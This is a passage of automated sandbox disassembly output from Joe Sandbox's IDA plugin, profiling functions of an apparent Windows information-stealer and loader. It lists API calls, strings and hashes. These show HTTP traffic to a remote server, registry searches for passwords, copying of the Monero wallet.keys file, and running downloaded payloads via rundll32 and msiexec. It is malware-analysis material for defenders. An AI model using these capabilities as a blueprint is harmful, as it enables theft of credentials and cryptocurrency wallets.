Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,024AAD50), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,024AABE0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,024AACA0,?,024AA2E8,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404B78
", xrefs: 00404D83
------, xrefs: 00404CB9
------, xrefs: 00404A0D
", xrefs: 00404C42

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 594634378-2180234286
Opcode ID: 324cee808c7c5bb88d56758127637e65c4149cbf958fdb65c4ce58a8b7c35f31
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: 324cee808c7c5bb88d56758127637e65c4149cbf958fdb65c4ce58a8b7c35f31
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 00417DC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,0248C048,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

- , xrefs: 00418043
%s\%s, xrefs: 00417EED
?, xrefs: 00417E1A

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4a34347e783856da12ea3335e7e3a1d727808caf9b080ddebbf1ae9208260438
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 4a34347e783856da12ea3335e7e3a1d727808caf9b080ddebbf1ae9208260438
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,024AAD50), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,024AA2E8,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

ERROR, xrefs: 00406519
GET, xrefs: 004063CC
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: d5d8d14c61fdb990bac62a5875c0fc809c88b920d555e001214eb9fd8b609746
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: d5d8d14c61fdb990bac62a5875c0fc809c88b920d555e001214eb9fd8b609746
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 0041525D
ERROR, xrefs: 00415173
ERROR, xrefs: 00415329
ERROR, xrefs: 00415412
ERROR, xrefs: 00415116
ERROR, xrefs: 004154DE

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 406436e274d9ffe12e75e645551f6c92370e1ab0f2f19eaafc7a0f8fd77dbb9b
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: 406436e274d9ffe12e75e645551f6c92370e1ab0f2f19eaafc7a0f8fd77dbb9b
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

/i ", xrefs: 00412EF4
.msi, xrefs: 00412EA8
"" , xrefs: 00412BAA
/passive, xrefs: 00412F6B
<, xrefs: 00412FA0
.dll, xrefs: 00412CF5
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: c28f8aad11453d3c542b01b6c4d715c89546927ab3c44fbe9be78aa6a877426d
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: c28f8aad11453d3c542b01b6c4d715c89546927ab3c44fbe9be78aa6a877426d
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02488EC8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$ChangeCopyCreateDeleteFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3420786452-218353709
Opcode ID: e7490377a3a12deaafef38a7d64b522ebf31687c21246c057fa817330277aa85
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: e7490377a3a12deaafef38a7d64b522ebf31687c21246c057fa817330277aa85
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,024AAD50), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: f603d9cd34b5999a88bc94178d56e612a93923da023668145be7d4ce2590ceed
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: f603d9cd34b5999a88bc94178d56e612a93923da023668145be7d4ce2590ceed
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(3540E020,004217A0), ref: 00407646
lstrcat.KERNEL32(3540E020,00000000), ref: 00407688
lstrcat.KERNEL32(3540E020, : ), ref: 0040769A
lstrcat.KERNEL32(3540E020,00000000), ref: 004076CF
lstrcat.KERNEL32(3540E020,004217A8), ref: 004076E0
lstrcat.KERNEL32(3540E020,00000000), ref: 00407713
lstrcat.KERNEL32(3540E020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 32341a83fe9ba4225218fc79e24391de355931652ad12096140b8d48397dc5aa
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 32341a83fe9ba4225218fc79e24391de355931652ad12096140b8d48397dc5aa
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
